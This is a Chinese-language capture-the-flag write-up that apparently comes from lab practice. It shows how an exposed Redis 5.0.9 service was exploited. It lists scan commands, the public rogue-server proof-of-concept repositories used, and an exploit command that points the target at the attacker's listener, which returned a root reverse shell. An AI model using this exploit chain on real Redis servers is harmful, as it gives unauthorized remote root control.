一如既往,我們先來看一下這個靶機上面開了什麼樣的服務
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描
sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.156.69 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.156.69 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.156.69 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.156.69 -type recon;
這邊除了常見的 SSH 跟 HTTP 以外,比較特別的是有一個叫做 redis 的服務開在 port 6379上面
藉由 nmap 的掃描可以發現它版本是 redis key-value store 5.0.9
這邊還有另外一個 HTTP 的服務開在 port 8080上面
但經過一番挖掘以後沒有看到什麼可以利用的弱點
http://192.168.192.69:8080/
目前看起來還可以繼續往下追查的就是這一個 Redis 服務跟他的版本號
這邊我們在 GitHub 上面發現了一個 PoC (https://github.com/Ridter/redis-rce )
但這個 PoC 需要一個叫做 exp.so 的檔案去執行,可惜的是這一個 PoC 所提供的連結已經失效
後來又在 github上面找到了 exp.so 的替代版本(https://github.com/n0b0dyCN/RedisModules-ExecuteCommand ),但是我在使用這個檔案的時候噴了不少錯誤
因為要解這個bug在有點花時間,所以我們就先跳去看看還有沒有別的替代檔案
幸運的是在同一個作者下面我們發現了另一個版本 (https://github.com/n0b0dyCN/redis-rogue-server )
雖然這個版本比我們手上有的稍微舊了一點,但並沒有差到很多,也許可以試試看
(長年打靶機的心得: 運氣也是實力的一部分...)
先把它下載下來後在搭配我們之前找到的 Python 檔案執行 ( 記得先設定監聽唷! )
git clone https://github.com/n0b0dyCN/redis-rogue-server.git
python ../redis-rce.py -r $tIP -p 6379 -L $myIP -P 80 -f exp.so
這題我真的覺得太幸運了,沒想到真的拿到了一個 reverse shell 回來
而且一拿回來還是 root 的權限,直接 capture the flag!